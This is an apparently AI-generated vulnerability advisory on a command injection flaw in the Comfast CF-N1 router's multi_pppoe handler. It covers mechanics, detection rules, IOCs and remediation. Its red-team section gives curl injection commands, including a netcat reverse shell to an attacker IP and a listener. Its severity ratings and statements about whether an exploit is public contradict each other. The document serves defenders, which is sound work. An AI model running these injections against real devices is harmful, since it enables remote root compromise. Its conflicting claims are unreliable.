CVE-2025-9581

Executive Summary

CVE-2025-9581 is a critical command injection vulnerability affecting the Comfast CF-N1 router running firmware version 2.6.0. The flaw resides in the multi_pppoe function within the /usr/bin/webmgnt binary. By manipulating the phy_interface argument, an unauthenticated remote attacker can execute arbitrary operating system commands on the device. The exploit has been publicly released, increasing the risk of widespread exploitation. No official patch is currently available from Comfast, leaving affected devices exposed.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure is possible.
• Integrity Impact: Low (I:L) – Some modification of data or system state is possible.
• Availability Impact: Low (A:L) – The device may experience reduced performance or limited disruption.

Threat Level: High due to public exploit availability and lack of a patch. The low EPSS score (0.0%) suggests limited active exploitation at this time, but this may change rapidly.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the multi_pppoe function of the /usr/bin/webmgnt binary. This binary handles web-based management interfaces on the Comfast CF-N1 router. The phy_interface parameter is used to specify a physical network interface for PPPoE configuration. The application fails to properly sanitize user-supplied input before passing it to a system shell command.

Technical Flow:

1. An attacker sends a crafted HTTP request to the router's management interface (typically on port 80 or 443).
2. The request targets the multi_pppoe endpoint with a malicious phy_interface parameter.
3. The webmgnt binary constructs a shell command using the unsanitized input, e.g., pppoe-setup -i [phy_interface].
4. Because the input is not escaped, an attacker can inject additional commands using shell metacharacters (e.g., ;, |, &&).
5. The injected commands execute with the privileges of the webmgnt process, typically root.

Example Injection:

phy_interface=eth0;id

This would execute the id command after the legitimate PPPoE setup command.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void multi_pppoe(char *phy_interface) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "pppoe-setup -i %s", phy_interface);
    system(cmd);
}

Patched Code (Conceptual):

void multi_pppoe(char *phy_interface) {
    // Validate input: only allow alphanumeric and underscore
    if (!is_valid_interface(phy_interface)) {
        log_error("Invalid interface name");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "pppoe-setup -i %s", phy_interface);
    system(cmd);
}

The patched version would include input validation to ensure phy_interface contains only expected characters (e.g., alphanumeric and underscores), preventing command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Comfast CF-N1 router with firmware 2.6.0
• Attacker: Kali Linux machine on the same network
• Tools: curl, netcat, Metasploit (if module available)

Exploitation Steps:

1. Identify the router's IP address (e.g., 192.168.1.1).
2. Send a crafted HTTP request to the vulnerable endpoint:

   curl -X POST "http://192.168.1.1/cgi-bin/webmgnt" \
   -d "action=multi_pppoe&phy_interface=eth0;id"
   

3. Observe the output. If the id command executes, the response will contain the user ID (e.g., uid=0(root)).
4. For a reverse shell:

   curl -X POST "http://192.168.1.1/cgi-bin/webmgnt" \
   -d "action=multi_pppoe&phy_interface=eth0;nc -e /bin/sh 192.168.1.100 4444"
   

   Then on the attacker machine:

   nc -lvnp 4444
   

Note: No public exploit code (Exploit-DB) was provided, but the above demonstrates the injection technique.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /cgi-bin/webmgnt with suspicious phy_interface parameters containing shell metacharacters (;, |, &, $, `).
• Look for outbound connections from the router to unusual IP addresses on common ports (e.g., 4444, 1337).

Hunting:

• Search logs for multi_pppoe function calls with non-standard interface names.
• Use network traffic analysis to detect reverse shell patterns (e.g., nc -e or /bin/sh).

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests to /cgi-bin/webmgnt with phy_interface containing shell metacharacters.
  • Outbound connections from the router to external IPs on high ports (e.g., 4444, 1337).
  • Unusual DNS queries or data exfiltration patterns.

• Host:

  • Unexpected processes spawned by webmgnt (e.g., nc, bash, python).
  • Modified system binaries or scripts in /usr/bin/.
  • New cron jobs or startup scripts added by the attacker.

• File:

  • Presence of /tmp/ files with suspicious names (e.g., .exploit, shell.sh).
  • Unauthorized SSH keys in /root/.ssh/authorized_keys.

Detection Engineering

YARA Rule

rule CVE_2025_9581_Comfast_CF_N1_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-9581 in Comfast CF-N1 routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-9581"
        severity = "high"
    strings:
        $s1 = "multi_pppoe" ascii wide nocase
        $s2 = "phy_interface" ascii wide nocase
        $s3 = /phy_interface=[^&]*[;&|`$]/ ascii wide
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: Comfast CF-N1 Command Injection via multi_pppoe
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/webmgnt with suspicious phy_interface parameter indicating command injection.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9581
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/webmgnt'
        cs-uri-query|contains: 'action=multi_pppoe'
        cs-uri-query|contains|all:
            - 'phy_interface='
            - ';'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in interface names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-9581 Comfast CF-N1 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/webmgnt"; http_uri;
    content:"action=multi_pppoe"; http_client_body;
    content:"phy_interface="; http_client_body;
    pcre:"/phy_interface=[^&]*[;&|`$]/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-9581;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable the web management interface on the WAN side.
2. Restrict Access: Use firewall rules to allow management only from trusted IP addresses.
3. Monitor Logs: Enable logging and monitor for exploitation attempts.

Long-term Fix:

• Vendor Patch: Await an official firmware update from Comfast. Contact their support for an ETA.
• Workaround: If patching is not possible, consider replacing the device with a more secure alternative.
• Input Validation: As a temporary measure, implement a reverse proxy or WAF that filters malicious phy_interface parameters.

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. For questions or further analysis, contact your security team.